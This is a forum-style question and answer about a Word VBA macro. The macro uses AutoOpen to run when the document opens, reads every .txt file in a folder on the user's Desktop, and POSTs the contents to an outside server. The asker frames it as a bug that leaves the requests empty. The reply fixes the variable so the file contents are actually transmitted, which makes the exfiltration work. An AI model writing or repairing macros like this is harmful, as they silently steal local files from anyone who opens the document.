I am trying to make a VBA code in word which sends post requests to an server. The post requests work but the problem is that they are empty. I have text files in the folder but it somehow still does not work. I would appreciate every answer.
Code:
Sub AutoOpen()
Dim objFSO As Object
Dim objFolder As Object
Dim objFile As Object
Dim strSourceFolder As String
Dim strDestinationFolder As String
Dim strText As String
strSourceFolder = Environ("USERPROFILE") & "\Desktop\myfolder\"
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FolderExists(strSourceFolder) Then
Set objFolder = objFSO.GetFolder(strSourceFolder)
For Each objFile In objFolder.Files
If objFSO.GetExtensionName(objFile.Path) = "txt" Then
strText = ReadTextFile(objFile.Path)
SendPostRequest strText
End If
Next objFile
Else
MsgBox "Folder couldnt be found"
End If
Set objFile = Nothing
Set objFolder = Nothing
Set objFSO = Nothing
End Sub
Function ReadTextFile(ByVal filePath As String) As String
Dim objFSO As Object
Dim objFile As Object
Dim strText As String
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists(filePath) Then
Set objFile = objFSO.OpenTextFile(filePath, 1) ' 1 für Lesen
strText = objFile.ReadAll
objFile.Close
Else
MsgBox "txt data couldnt be found " & filePath
End If
Set objFile = Nothing
Set objFSO = Nothing
ReadTextFile = strText
End Function
Sub SendPostRequest(ByVal postData As String)
Dim objHTTP As Object
Dim URL As String
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
URL = "https://urlrandom.com/"
objHTTP.Open "POST", URL, False
objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objHTTP.send "data=" & strText
Set objHTTP = Nothing
End Sub
I tried checking if maybe the folder or the txt file could'nt be found but they are getting found.
In Sub SendPostRequest
change objHTTP.send "data=" & strText
to objHTTP.send "data=" & postData